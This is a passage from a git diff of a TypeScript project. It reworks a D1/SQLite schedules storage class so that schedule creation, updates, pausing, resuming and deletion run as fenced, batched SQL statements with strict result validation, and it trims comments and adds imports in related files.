result: ScheduleStatementResult | undefined, + returning: boolean, +): number { + if (!result) throw new Error('schedule mutation result is missing'); + const { rows, hasChanges, changes } = result; + if ( + (returning && rows.length > 1) || + (!returning && (rows.length !== 0 || !hasChanges)) || + (hasChanges && + (typeof changes !== 'number' || + !Number.isSafeInteger(changes) || + changes < 0 || + (returning && changes !== rows.length))) + ) + throw new Error('schedule mutation changes contradict its evidence'); + return returning ? rows.length : (changes as number); +} + +function singleScheduleRow( + result: ScheduleStatementResult | undefined, +): Record | undefined { + if (!result) throw new Error('schedule mutation result is missing'); + if (result.rows.length > 1) + throw new Error('schedule mutation returned multiple rows'); + return result.rows[0]; +} + +function sameScheduleFields( + row: Record, + expected: Record, +): boolean { + return Object.entries(expected).every( + ([key, value]) => Object.hasOwn(row, key) && row[key] === value, + ); +} + +function requireScheduleFields( + row: Record | undefined, + expected: Record, +): asserts row is Record { + if (!row || !sameScheduleFields(row, expected)) { + throw new Error('schedule mutation returned a different row'); + } +} + +function mutationScheduleRow(row: Record): ScheduleRow { + const text = ['id', 'target', 'cron', 'status']; + const nullableText = [ + 'timezone', + 'lastRunId', + 'metadata', + 'ownerType', + 'ownerId', + 'creatorRole', + ]; + const numeric = ['nextFireAt', 'createdAt', 'updatedAt']; + const nullableNumeric = ['lastFireAt', 'deletionRequestedAt']; + if ( + text.some((key) => typeof row[key] !== 'string') || + nullableText.some( + (key) => row[key] !== null && typeof row[key] !== 'string', + ) || + numeric.some( + (key) => typeof row[key] !== 'number' || !Number.isFinite(row[key]), + ) || + nullableNumeric.some( + (key) => + row[key] !== null && + (typeof row[key] !== 'number' || !Number.isFinite(row[key])), + ) + ) { + throw new Error('schedule mutation row is malformed'); + } + return row as unknown as ScheduleRow; +} + +function captureSchedule(schedule: Schedule): ScheduleRow { + const { + id, + target, + cron, + timezone, + status, + nextFireAt, + lastFireAt, + lastRunId, + createdAt, + updatedAt, + metadata, + ownerType, + ownerId, + creatorRole, + } = schedule as Schedule & { creatorRole?: string }; + return { + id, + target: JSON.stringify(target), + cron, + timezone: timezone ?? null, + status, + nextFireAt, + lastFireAt: lastFireAt ?? null, + lastRunId: lastRunId ?? null, + createdAt, + updatedAt, + metadata: jsonOrNull(metadata), + ownerType: ownerType ?? null, + ownerId: ownerId ?? null, + creatorRole: creatorRole ?? null, + deletionRequestedAt: null, + }; +} + +function captureSchedulePatch(patch: ScheduleUpdate): Partial { + const { + cron, + timezone, + status, + nextFireAt, + metadata, + target, + ownerType, + ownerId, + } = patch; + return { + updatedAt: Date.now(), + ...(cron !== undefined ? { cron } : {}), + ...(timezone !== undefined ? { timezone: timezone ?? null } : {}), + ...(status !== undefined ? { status } : {}), + ...(nextFireAt !== undefined ? { nextFireAt } : {}), + ...(metadata !== undefined ? { metadata: jsonOrNull(metadata) } : {}), + ...(target !== undefined ? { target: JSON.stringify(target) } : {}), + ...(ownerType !== undefined ? { ownerType: ownerType ?? null } : {}), + ...(ownerId !== undefined ? { ownerId: ownerId ?? null } : {}), + }; +} + +function requiresOpenFence(operation: ScheduleMutationOperation): boolean { + return ( + operation === 'create' || operation === 'update' || operation === 'resume' + ); +} + +function scheduleMutationGuard(prepared: PreparedScheduleMutation): string { + return executionFenceAdmissionSql({ + callerEpoch: '?1', + semantic: prepared.semantic.map((_, index) => `?${index + 2}`), + schema: '?12', + statePredicate: requiresOpenFence(prepared.operation) + ? "f.state COLLATE BINARY = 'open'" + : '1', + }); +} + +interface ScheduleDeletionFacts { + schedules: number; + deletion_requested_at: number | null; + triggers: number; + deferred: number; + owners: number; +} + +function deletionFacts(result: ScheduleStatementResult): ScheduleDeletionFacts { + const row = singleScheduleRow(result); + if ( + !row || + ['schedules', 'triggers', 'deferred', 'owners'].some( + (key) => + typeof row[key] !== 'number' || + !Number.isSafeInteger(row[key]) || + row[key] < 0, + ) + ) + throw new Error('schedule deletion facts are malformed'); + const facts = row as unknown as ScheduleDeletionFacts; + if ( + facts.schedules > 1 || + facts.owners > 1 || + facts.deferred > facts.triggers || + (facts.deletion_requested_at !== null && + (typeof facts.deletion_requested_at !== 'number' || + !Number.isFinite(facts.deletion_requested_at))) || + (facts.schedules === 0 && facts.deletion_requested_at !== null) + ) { + throw new Error('schedule deletion facts are inconsistent'); + } + return facts; +} + function rowToSchedule(row: ScheduleRow): Schedule { const target = parseJsonOrUndefined(row.target); const schedule: Schedule = { @@ -251,17 +554,162 @@ function rowToTrigger(row: ScheduleTriggerRow): ScheduleTrigger { * no adapter change. */ export class D1SchedulesStorage extends SchedulesStorage { + readonly [FENCED_SCHEDULE_STORAGE]?: FencedScheduleMutationCapability; readonly #db: ScheduleDatabase; + readonly #fence: ExecutionFenceStore; + readonly #mutationBatch?: ( + statements: ScheduleStatement[], + ) => Promise; readonly #schedules: string; readonly #triggers: string; #ready?: Promise; + #authoringReady?: Promise; constructor(db: ScheduleDatabase, tablePrefix = '') { super(); const prefix = validateTablePrefix(tablePrefix) ?? ''; this.#db = db; + this.#fence = new ExecutionFenceStore(db); this.#schedules = `${prefix}mastra_schedules`; this.#triggers = `${prefix}mastra_schedule_triggers`; + const batch = db.batch; + if (typeof batch === 'function') { + this.#mutationBatch = (statements) => + Reflect.apply(batch, db, [statements]); + this[FENCED_SCHEDULE_STORAGE] = Object.freeze({ + database: db as FencedScheduleMutationCapability['database'], + createOwnedSchedule: this.createOwnedSchedule.bind(this), + updateSchedule: this.updateSchedule.bind(this), + pauseSchedule: this.pauseSchedule.bind(this), + resumeSchedule: this.resumeSchedule.bind(this), + deleteOwnedSchedule: this.deleteOwnedSchedule.bind(this), + observeScheduleMutation: this.observeScheduleMutation.bind(this), + }); + } + } + + async #prepareMutation( + epoch: number | undefined, + operation: ScheduleMutationOperation, + ): Promise { + if (!this.#mutationBatch) { + throw new Error( + 'D1SchedulesStorage requires database.batch() for schedule mutations', + ); + } + if (!this.#authoringReady) { + this.#authoringReady = this.#ensureSchema() + .then(() => this.#fence.seed('open')) + .catch((error: unknown) => { + this.#authoringReady = undefined; + throw error; + }); + } + await this.#authoringReady; + const observation = await this.#fence.readForAdmission(); + const semantic = executionFenceAdmissionValues(observation); + assertMutationEpoch(observation.reading, epoch); + if ( + requiresOpenFence(operation) && + !admitsWorkAuthoring(observation.reading) + ) { + throw new ExecutionFencedError(observation.reading.state); + } + let schema: string; + try { + const captured = captureScheduleResult( + await this.#db + .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`) + .all(), + ); + schema = await captureExecutionFenceAdmissionSchema({ + results: captured.rows, + }); + } catch (cause) { + throw new ExecutionFenceUnreadableError( + 'execution fence schema is not readable', + { cause }, + ); + } + return { + epoch, + operation, + semantic, + schema, + bindings: [epoch ?? null, ...semantic, schema], + }; + } + + #mutationDiagnostics(): [ScheduleStatement, ScheduleStatement] { + return [ + this.#db.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`), + this.#db.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`), + ]; + } + + async #executeMutation( + prepared: PreparedScheduleMutation, + statements: Statements, + returningSlots: readonly number[], + changesSlot?: number, + ): Promise<{ [Index in keyof Statements]: ScheduleStatementResult }> { + let results: ScheduleStatementResult[]; + let writes: number; + try { + if (!this.#mutationBatch) + throw new Error('schedule mutation batch is unavailable'); + results = captureScheduleBatch( + await this.#mutationBatch([...statements]), + statements.length, + ); + writes = returningSlots.reduce( + (count, slot) => count + scheduleChanges(results[slot], true), + 0, + ); + if (changesSlot !== undefined) + writes += scheduleChanges(results[changesSlot], false); + } catch (cause) { + throw mutationUnknown(cause); + } + let current: ExecutionFenceAdmissionObservation; + let semantic: readonly unknown[]; + let schema: string; + const schemaResult = results[1]; + try { + const row = singleScheduleRow(results[0]); + if (!row) throw new Error('execution fence singleton is missing'); + current = decodeExecutionFenceAdmissionRow(row); + semantic = executionFenceAdmissionValues(current); + if (!schemaResult) + throw new Error('execution fence schema result is missing'); + schema = await captureExecutionFenceAdmissionSchema({ + results: schemaResult.rows, + }); + } catch (cause) { + const unreadable = new ExecutionFenceUnreadableError( + 'execution fence state is not readable', + { cause }, + ); + throw writes === 0 ? unreadable : mutationUnknown(unreadable); + } + try { + assertMutationEpoch(current.reading, prepared.epoch); + if ( + requiresOpenFence(prepared.operation) && + !admitsWorkAuthoring(current.reading) + ) { + throw new ExecutionFencedError(current.reading.state); + } + if ( + semantic.some((value, index) => value !== prepared.semantic[index]) || + schema !== prepared.schema + ) { + throw new ScheduleMutationConflictError('fence-changed'); + } + } catch (cause) { + throw writes === 0 ? cause : mutationUnknown(cause); + } + return results as { [Index in keyof Statements]: ScheduleStatementResult }; } /** @@ -371,17 +819,41 @@ export class D1SchedulesStorage extends SchedulesStorage { await this.#ensureSchema(); } - async createSchedule(schedule: Schedule): Promise { - await this.#ensureSchema(); + async createSchedule( + schedule: Schedule, + context?: MutationEpochContext, + ): Promise { + const epoch = normalizeMutationEpoch(context?.mutationEpoch); + const row = captureSchedule(schedule); + const prepared = await this.#prepareMutation(epoch, 'create'); + const results = await this.#executeMutation( + prepared, + [ + ...this.#mutationDiagnostics(), + this.#db + .prepare( + `SELECT id FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1 LIMIT 2`, + ) + .bind(row.id), + this.#insertScheduleStatement(row, prepared), + ], + [3], + ); try { - await this.#insertSchedule(schedule); - } catch (error) { - if (String(error).includes('UNIQUE constraint failed')) { - throw new Error(`schedule ${schedule.id} already exists`); + const existing = singleScheduleRow(results[2]); + if (existing) requireScheduleFields(existing, { id: row.id }); + const created = singleScheduleRow(results[3]); + if (created) { + if (existing) + throw new Error('schedule insertion contradicts existing id'); + requireScheduleFields(created, { ...row }); + return rowToSchedule(mutationScheduleRow(created)); } - throw error; + if (!existing) throw new Error('schedule insertion has no outcome'); + } catch (cause) { + throw mutationUnknown(cause); } - return schedule; + throw new Error(`schedule ${row.id} already exists`); } /** @@ -393,33 +865,77 @@ export class D1SchedulesStorage extends SchedulesStorage { schedule: AuthorizedSchedule, owner: ResourceOwner, maxSchedules: number, + context?: MutationEpochContext, ): Promise { - const safeOwner = canonicalResourceOwner(owner); + const epoch = normalizeMutationEpoch(context?.mutationEpoch); + const row = captureSchedule(schedule); + const safeOwner = canonicalResourceOwner( + owner === null || typeof owner !== 'object' + ? owner + : { kind: owner.kind, id: owner.id }, + ); if (!Number.isSafeInteger(maxSchedules) || maxSchedules < 0) { throw new Error('maxSchedules must be a nonnegative safe integer'); } - await this.#ensureSchema(); - const batch = this.#db.batch?.bind(this.#db); - if (!batch) { - throw new Error( - 'D1SchedulesStorage requires database.batch() for atomic owned schedule creation', - ); - } - const [created] = await batch([ - this.#insertScheduleStatement(schedule, maxSchedules), - this.#db - .prepare( - `INSERT INTO ${RESOURCE_OWNERSHIP_TABLE} + const prepared = await this.#prepareMutation(epoch, 'create'); + const results = await this.#executeMutation( + prepared, + [ + ...this.#mutationDiagnostics(), + this.#db + .prepare(`SELECT COUNT(*) AS total, + EXISTS(SELECT 1 FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1) AS id_exists + FROM ${this.#schedules}`) + .bind(row.id), + this.#insertScheduleStatement(row, prepared, maxSchedules), + this.#db + .prepare( + `INSERT INTO ${RESOURCE_OWNERSHIP_TABLE} (resource_kind, resource_id, owner_kind, owner_id) - SELECT 'schedule', ?, ?, ? + SELECT 'schedule', ?13, ?14, ?15 WHERE changes() = 1 - AND EXISTS (SELECT 1 FROM ${this.#schedules} WHERE id = ?)`, - ) - .bind(schedule.id, safeOwner.kind, safeOwner.id, schedule.id), - ]); - return d1Changes(created as { meta?: { changes?: number } }) === 1 - ? schedule - : null; + AND EXISTS (SELECT 1 FROM ${this.#schedules} WHERE id COLLATE BINARY = ?13) + AND ${scheduleMutationGuard(prepared)} + RETURNING resource_kind, resource_id, owner_kind, owner_id, reservation_token`, + ) + .bind(...prepared.bindings, row.id, safeOwner.kind, safeOwner.id), + ], + [3, 4], + ); + try { + const facts = singleScheduleRow(results[2]); + if ( + !facts || + typeof facts.total !== 'number' || + !Number.isSafeInteger(facts.total) || + facts.total < 0 || + (facts.id_exists !== 0 && facts.id_exists !== 1) + ) { + throw new Error('schedule creation facts are malformed'); + } + const created = singleScheduleRow(results[3]); + const owned = singleScheduleRow(results[4]); + if (created) { + if (facts.total >= maxSchedules || facts.id_exists !== 0) + throw new Error('schedule insertion contradicts its cap or id'); + requireScheduleFields(created, { ...row }); + requireScheduleFields(owned, { + resource_kind: 'schedule', + resource_id: row.id, + owner_kind: safeOwner.kind, + owner_id: safeOwner.id, + reservation_token: null, + }); + return rowToSchedule(mutationScheduleRow(created)); + } + if (owned) throw new Error('zero schedule insertion acquired an owner'); + if (facts.total >= maxSchedules) return null; + if (facts.id_exists !== 1) + throw new Error('schedule insertion has no outcome'); + } catch (cause) { + throw mutationUnknown(cause); + } + throw new Error(`schedule ${row.id} already exists`); } async getSchedule(id: string): Promise { @@ -494,61 +1010,164 @@ export class D1SchedulesStorage extends SchedulesStorage { return results.map(rowToSchedule); } - async updateSchedule(id: string, patch: ScheduleUpdate): Promise { - await this.#ensureSchema(); - // A TARGETED UPDATE — set ONLY the patched columns, never a full-row rewrite. - // A read-modify-write `INSERT OR REPLACE` of the whole row would carry a - // stale `nextFireAt`/`lastFireAt`/`lastRunId` back over whatever the tick's - // CAS (`updateScheduleNextFire`) advanced in the read→write window — reverting - // a claimed fire and re-arming the schedule for a SECOND fire of the same - // occurrence. This statement touches only what the patch names, so a facade - // mutation racing a tick can never clobber the CAS-owned columns it did not - // ask to change. - const sets = ['updatedAt = ?']; - const binds: unknown[] = [Date.now()]; - if (patch.cron !== undefined) { - sets.push('cron = ?'); - binds.push(patch.cron); - } - if (patch.timezone !== undefined) { - sets.push('timezone = ?'); - binds.push(patch.timezone ?? null); - } - if (patch.status !== undefined) { - sets.push('status = ?'); - binds.push(patch.status); - } - if (patch.nextFireAt !== undefined) { - sets.push('nextFireAt = ?'); - binds.push(patch.nextFireAt); - } - if (patch.metadata !== undefined) { - sets.push('metadata = ?'); - binds.push(jsonOrNull(patch.metadata)); - } - if (patch.target !== undefined) { - sets.push('target = ?'); - binds.push(JSON.stringify(patch.target)); - } - if (patch.ownerType !== undefined) { - sets.push('ownerType = ?'); - binds.push(patch.ownerType ?? null); + async updateSchedule( + id: string, + patch: ScheduleUpdate, + context?: MutationEpochContext, + ): Promise { + const epoch = normalizeMutationEpoch(context?.mutationEpoch); + return this.#updateSchedule( + id, + captureSchedulePatch(patch), + epoch, + 'update', + ); + } + + async pauseSchedule( + id: string, + context?: MutationEpochContext, + ): Promise { + const epoch = normalizeMutationEpoch(context?.mutationEpoch); + return this.#updateSchedule( + id, + { status: 'paused', updatedAt: Date.now() }, + epoch, + 'pause', + ); + } + + async resumeSchedule( + id: string, + mutation: ScheduleResumeMutation, + context?: MutationEpochContext, + ): Promise { + const epoch = normalizeMutationEpoch(context?.mutationEpoch); + const { expectedCron, expectedTimezone, nextFireAt } = mutation; + return this.#updateSchedule( + id, + { status: 'active', nextFireAt, updatedAt: Date.now() }, + epoch, + 'resume', + { + cron: expectedCron, + timezone: expectedTimezone ?? null, + }, + ); + } + + async #updateSchedule( + id: string, + patch: Partial, + epoch: number | undefined, + operation: 'update' | 'pause' | 'resume', + expected?: { cron: string; timezone: string | null }, + ): Promise { + const fields = Object.entries(patch); + const prepared = await this.#prepareMutation(epoch, operation); + const idParameter = fields.length + 13; + // Targeted writes preserve columns advanced by a concurrent fire claim. + const sets = fields.map(([key], index) => `${key} = ?${index + 13}`); + const results = await this.#executeMutation( + prepared, + [ + ...this.#mutationDiagnostics(), + this.#db + .prepare( + `SELECT * FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1 LIMIT 2`, + ) + .bind(id), + this.#db + .prepare(`UPDATE ${this.#schedules} SET ${sets.join(', ')} + WHERE id COLLATE BINARY = ?${idParameter} AND deletionRequestedAt IS NULL + ${expected ? `AND cron COLLATE BINARY = ?${idParameter + 1} AND timezone COLLATE BINARY IS ?${idParameter + 2}` : ''} + AND ${scheduleMutationGuard(prepared)} RETURNING *`) + .bind( + ...prepared.bindings, + ...fields.map(([, value]) => value), + id, + ...(expected ? [expected.cron, expected.timezone] : []), + ), + ], + [3], + ); + let missing: boolean; + let changed = false; + try { + const previous = singleScheduleRow(results[2]); + const updated = singleScheduleRow(results[3]); + if (previous) { + requireScheduleFields(previous, { id }); + mutationScheduleRow(previous); + } + missing = !previous || previous.deletionRequestedAt !== null; + if (updated) { + if ( + missing || + (expected && + !sameScheduleFields(previous as Record, expected)) + ) { + throw new Error('schedule update contradicts its prior row'); + } + requireScheduleFields(updated, { ...previous, ...patch, id }); + return rowToSchedule(mutationScheduleRow(updated)); + } + changed = + !missing && + expected !== undefined && + !sameScheduleFields(previous as Record, expected); + if (!missing && !changed) + throw new Error('schedule update has no outcome'); + } catch (cause) { + throw mutationUnknown(cause); } - if (patch.ownerId !== undefined) { - sets.push('ownerId = ?'); - binds.push(patch.ownerId ?? null); + if (changed) throw new ScheduleMutationConflictError('schedule-changed'); + throw new Error(`schedule ${id} not found`); + } + + async observeScheduleMutation( + id: string, + operation: 'pause' | 'resume', + context: MutationEpochContext, + ): Promise { + const epoch = normalizeMutationEpoch(context?.mutationEpoch); + if (operation !== 'pause' && operation !== 'resume') + throw new Error('schedule mutation observation is invalid'); + const prepared = await this.#prepareMutation(epoch, operation); + const results = await this.#executeMutation( + prepared, + [ + ...this.#mutationDiagnostics(), + this.#db + .prepare( + `SELECT * FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1 LIMIT 2`, + ) + .bind(id), + this.#db + .prepare(`SELECT * FROM ${this.#schedules} + WHERE id COLLATE BINARY = ?13 AND deletionRequestedAt IS NULL + AND ${scheduleMutationGuard(prepared)} LIMIT 2`) + .bind(...prepared.bindings, id), + ], + [], + ); + try { + const previous = singleScheduleRow(results[2]); + const observed = singleScheduleRow(results[3]); + if (previous) { + requireScheduleFields(previous, { id }); + mutationScheduleRow(previous); + } + if (!previous || previous.deletionRequestedAt !== null) { + if (observed) + throw new Error('schedule observation contradicts absence'); + return null; + } + requireScheduleFields(observed, previous); + return rowToSchedule(mutationScheduleRow(observed)); + } catch (cause) { + throw mutationUnknown(cause); } - binds.push(id); - await this.#db - .prepare( - `UPDATE ${this.#schedules} SET ${sets.join(', ')} - WHERE id = ? AND deletionRequestedAt IS NULL`, - ) - .bind(...binds) - .run(); - const updated = await this.getSchedule(id); - if (!updated) throw new Error(`schedule ${id} not found`); - return updated; } async updateScheduleNextFire( @@ -814,65 +1433,136 @@ export class D1SchedulesStorage extends SchedulesStorage { throw new Error('agent schedule dispatch could not be force-discarded'); } - async deleteSchedule(id: string): Promise { - await this.deleteOwnedSchedule(id); + async deleteSchedule( + id: string, + context?: MutationEpochContext, + ): Promise { + await this.deleteOwnedSchedule(id, context); } /** Delete an authorized facade schedule and its owner in one transaction. */ - async deleteOwnedSchedule(id: string): Promise<'deleted' | 'pending'> { - await this.#ensureSchema(); - const batch = this.#db.batch?.bind(this.#db); - if (!batch) { - throw new Error( - 'D1SchedulesStorage requires database.batch() for atomic owned schedule deletion', - ); - } - await batch([ - this.#db - .prepare( - `UPDATE ${this.#schedules} - SET status = 'paused', updatedAt = ?, + async deleteOwnedSchedule( + id: string, + context?: MutationEpochContext, + ): Promise<'deleted' | 'pending'> { + const epoch = normalizeMutationEpoch(context?.mutationEpoch); + const now = Date.now(); + const prepared = await this.#prepareMutation(epoch, 'delete'); + const guard = scheduleMutationGuard(prepared); + const results = await this.#executeMutation( + prepared, + [ + ...this.#mutationDiagnostics(), + this.#deletionFactsStatement(id), + this.#db + .prepare( + `UPDATE ${this.#schedules} + SET status = 'paused', updatedAt = ?13, deletionRequestedAt = CASE WHEN EXISTS ( SELECT 1 FROM ${this.#triggers} - WHERE scheduleId = ? AND outcome = 'deferred' - ) THEN COALESCE(deletionRequestedAt, ?) + WHERE scheduleId COLLATE BINARY = ?14 AND outcome = 'deferred' + ) THEN COALESCE(deletionRequestedAt, ?13) ELSE NULL END - WHERE id = ?`, - ) - .bind(Date.now(), id, Date.now(), id), - this.#db - .prepare( - `DELETE FROM ${this.#triggers} - WHERE scheduleId = ? + WHERE id COLLATE BINARY = ?14 AND ${guard} + RETURNING id, status, updatedAt, deletionRequestedAt`, + ) + .bind(...prepared.bindings, now, id), + this.#db + .prepare( + `DELETE FROM ${this.#triggers} + WHERE scheduleId COLLATE BINARY = ?13 AND ${guard} AND NOT EXISTS ( SELECT 1 FROM ${this.#schedules} - WHERE id = ? AND deletionRequestedAt IS NOT NULL + WHERE id COLLATE BINARY = ?13 AND deletionRequestedAt IS NOT NULL )`, - ) - .bind(id, id), - this.#db - .prepare( - `DELETE FROM ${this.#schedules} - WHERE id = ? AND deletionRequestedAt IS NULL`, - ) - .bind(id), - this.#db - .prepare( - `DELETE FROM ${RESOURCE_OWNERSHIP_TABLE} - WHERE resource_kind = 'schedule' AND resource_id = ? - AND NOT EXISTS (SELECT 1 FROM ${this.#schedules} WHERE id = ?)`, - ) - .bind(id, id), - ]); - const pending = await this.#db - .prepare( - `SELECT deletionRequestedAt FROM ${this.#schedules} WHERE id = ?`, - ) - .bind(id) - .first<{ deletionRequestedAt: number | null }>(); - return pending?.deletionRequestedAt != null ? 'pending' : 'deleted'; + ) + .bind(...prepared.bindings, id), + this.#db + .prepare( + `DELETE FROM ${this.#schedules} + WHERE id COLLATE BINARY = ?13 AND deletionRequestedAt IS NULL + AND ${guard} RETURNING id`, + ) + .bind(...prepared.bindings, id), + this.#db + .prepare( + `DELETE FROM ${RESOURCE_OWNERSHIP_TABLE} + WHERE resource_kind COLLATE BINARY = 'schedule' AND resource_id COLLATE BINARY = ?13 + AND NOT EXISTS (SELECT 1 FROM ${this.#schedules} WHERE id COLLATE BINARY = ?13) + AND ${guard} + RETURNING resource_kind, resource_id, owner_kind, owner_id, reservation_token`, + ) + .bind(...prepared.bindings, id), + this.#deletionFactsStatement(id), + ], + [3, 5, 6], + 4, + ); + try { + const before = deletionFacts(results[2]); + const after = deletionFacts(results[7]); + const pending = before.schedules === 1 && before.deferred > 0; + const marker = pending ? (before.deletion_requested_at ?? now) : null; + if ( + results[3].rows.length !== before.schedules || + scheduleChanges(results[4], false) !== + (pending ? 0 : before.triggers) || + results[5].rows.length !== (pending ? 0 : before.schedules) || + results[6].rows.length !== (pending ? 0 : before.owners) + ) { + throw new Error('schedule deletion writes contradict its prior state'); + } + if (before.schedules === 1) + requireScheduleFields(results[3].rows[0], { + id, + status: 'paused', + updatedAt: now, + deletionRequestedAt: marker, + }); + for (const row of results[5].rows) requireScheduleFields(row, { id }); + for (const row of results[6].rows) { + requireScheduleFields(row, { + resource_kind: 'schedule', + resource_id: id, + }); + if ( + typeof row.owner_kind !== 'string' || + typeof row.owner_id !== 'string' || + (row.reservation_token !== null && + typeof row.reservation_token !== 'string') + ) { + throw new Error('schedule deletion owner is malformed'); + } + } + const expected = pending + ? { ...before, deletion_requested_at: marker } + : { + schedules: 0, + deletion_requested_at: null, + triggers: 0, + deferred: 0, + owners: 0, + }; + if (!sameScheduleFields({ ...after }, expected)) + throw new Error('schedule deletion did not converge'); + return pending ? 'pending' : 'deleted'; + } catch (cause) { + throw mutationUnknown(cause); + } + } + + #deletionFactsStatement(id: string): ScheduleStatement { + return this.#db + .prepare(`SELECT + (SELECT COUNT(*) FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1) AS schedules, + (SELECT deletionRequestedAt FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1) AS deletion_requested_at, + (SELECT COUNT(*) FROM ${this.#triggers} WHERE scheduleId COLLATE BINARY = ?1) AS triggers, + (SELECT COUNT(*) FROM ${this.#triggers} WHERE scheduleId COLLATE BINARY = ?1 AND outcome = 'deferred') AS deferred, + (SELECT COUNT(*) FROM ${RESOURCE_OWNERSHIP_TABLE} + WHERE resource_kind COLLATE BINARY = 'schedule' AND resource_id COLLATE BINARY = ?1) AS owners`) + .bind(id); } async recordTrigger(trigger: ScheduleTrigger): Promise { @@ -1073,51 +1763,24 @@ export class D1SchedulesStorage extends SchedulesStorage { ]); } - /** Insert a new core schedule row. */ - async #insertSchedule(schedule: Schedule): Promise { - await this.#insertScheduleStatement(schedule).run(); - } - #insertScheduleStatement( - schedule: Schedule, + row: ScheduleRow, + prepared: PreparedScheduleMutation, maxSchedules?: number, ): ScheduleStatement { - const columns = `( - id, target, cron, timezone, status, nextFireAt, lastFireAt, - lastRunId, createdAt, updatedAt, metadata, ownerType, ownerId, - creatorRole - )`; - const values = [ - schedule.id, - JSON.stringify(schedule.target), - schedule.cron, - schedule.timezone ?? null, - schedule.status, - schedule.nextFireAt, - schedule.lastFireAt ?? null, - schedule.lastRunId ?? null, - schedule.createdAt, - schedule.updatedAt, - jsonOrNull(schedule.metadata), - schedule.ownerType ?? null, - schedule.ownerId ?? null, - (schedule as Partial).creatorRole ?? null, - ]; - if (maxSchedules === undefined) { - return this.#db - .prepare( - `INSERT INTO ${this.#schedules} ${columns} - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, - ) - .bind(...values); - } return this.#db .prepare( - `INSERT INTO ${this.#schedules} ${columns} - SELECT ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? - WHERE (SELECT COUNT(*) FROM ${this.#schedules}) < ?`, + `INSERT INTO ${this.#schedules} (${SCHEDULE_COLUMNS.join(', ')}) + SELECT ${SCHEDULE_COLUMNS.map((_, index) => `?${index + 13}`).join(', ')} + WHERE ${scheduleMutationGuard(prepared)} + ${maxSchedules === undefined ? '' : `AND (SELECT COUNT(*) FROM ${this.#schedules}) < ?27`} + ON CONFLICT (id) DO NOTHING RETURNING *`, ) - .bind(...values, maxSchedules); + .bind( + ...prepared.bindings, + ...SCHEDULE_COLUMNS.map((key) => row[key]), + ...(maxSchedules === undefined ? [] : [maxSchedules]), + ); } } diff --git a/packages/flowsafe/src/schedules/storage.ts b/packages/flowsafe/src/schedules/storage.ts index 4437128f..f88b35e4 100644 --- a/packages/flowsafe/src/schedules/storage.ts +++ b/packages/flowsafe/src/schedules/storage.ts @@ -1,21 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// Track D (M-006) — the schedules storage domain packaged for injection into -// createD1Storage. do-runner's createD1Storage cannot import this directly -// (schedules/ imports do-runner, so a do-runner->schedules edge would cycle), so -// it takes an opaque `domains: MastraStorageDomains` and this helper supplies it -// — the SAME pattern Track C's createSignalStorageDomains uses. -// -// A host that wants D1-durable schedules composes them alongside the signal -// domains, e.g.: -// createD1Storage({ -// binding, -// domains: { -// ...createSignalStorageDomains(binding), -// ...createScheduleStorageDomains(binding), -// }, -// }) -// The 'schedules' domain key is what core's `mastra.schedules` resolves through -// getStore('schedules') — and what the tick and router build their store from. import type { MastraStorageDomains } from '@mastra/core/storage'; @@ -23,21 +6,11 @@ import type { D1DatabaseBinding } from '../do-runner/index.js'; import { validateTablePrefix } from '../do-runner/table-prefix.js'; import { D1SchedulesStorage, type ScheduleDatabase } from './schedules-d1.js'; -/** - * Build the flowsafe-owned schedules storage domain over a D1 binding, ready to - * hand to `createD1Storage({ domains })`. The binding is the SAME one - * createD1Storage builds its D1Store from — the domain creates two tables - * (`mastra_schedules`, `mastra_schedule_triggers`) the adapter does not own, so - * they coexist on one database with no DDL-ordering conflict. - */ export function createScheduleStorageDomains( binding: D1DatabaseBinding, tablePrefix = '', ): MastraStorageDomains { const prefix = validateTablePrefix(tablePrefix) ?? ''; - // The structural ScheduleDatabase subset (prepare->bind/first/all/run) is - // exactly what a real D1Database exposes; the cast bridges the - // workers-types-free seam (same convention as createSignalStorageDomains). const db = binding as unknown as ScheduleDatabase; return { schedules: new D1SchedulesStorage(db, prefix) }; } diff --git a/packages/flowsafe/test-support/harness-probe.ts b/packages/flowsafe/test-support/harness-probe.ts index ae2e4d4b..062a764b 100644 --- a/packages/flowsafe/test-support/harness-probe.ts +++ b/packages/flowsafe/test-support/harness-probe.ts @@ -1,11 +1,19 @@ // SPDX-License-Identifier: Apache-2.0 + import { createEmptyWorkflowSnapshot } from '@mastra/core/storage'; +import { z } from 'zod'; +import { EXECUTION_FENCE_TABLE } from '#deployment-identity-protocol'; +import { + type ActorContext, + createActorResolver, +} from '../src/approval-api/actor-context.js'; import { D1ApprovalStore } from '../src/approval-api/d1-store.js'; import { D1ResourceOwnershipStore, RESOURCE_OWNERSHIP_TABLE, } from '../src/approval-api/resource-ownership.js'; +import { D1ApprovalStoreFactory } from '../src/approval-api/store-factory.js'; import type { ApprovalRecord } from '../src/approval-api/types.js'; import { createBackgroundTaskD1Domains } from '../src/background-tasks/d1-storage.js'; import { @@ -15,14 +23,18 @@ import { type RunRetentionCursor, } from '../src/do-runner/d1-storage.js'; import { seedDeploymentIdentity } from '../src/do-runner/deployment-identity.js'; +import { MUTATION_EPOCH_HEADER } from '../src/do-runner/execution-admission.js'; import { ExecutionFenceStore } from '../src/do-runner/execution-fence.js'; import { FENCED_WORKFLOW_STORAGE } from '../src/do-runner/fenced-workflow-capability.js'; import { FencedWorkflowsStorageD1 } from '../src/do-runner/fenced-workflows-d1.js'; +import { init } from '../src/do-runner/init.js'; import { isDefinitiveInitialAdmissionRefusal } from '../src/do-runner/initial-admission-refusal.js'; import { parseRunLifecycle, projectTerminalLifecycle, } from '../src/do-runner/run-lifecycle.js'; +import type { StartRunOptions } from '../src/do-runner/runtime.js'; +import { StartIdempotencyStore } from '../src/do-runner/start-idempotency.js'; import { START_IDEMPOTENCY_ADDITIONS, START_IDEMPOTENCY_DDL, @@ -33,8 +45,14 @@ import type { SnapshotDatabase, SnapshotStatement, } from 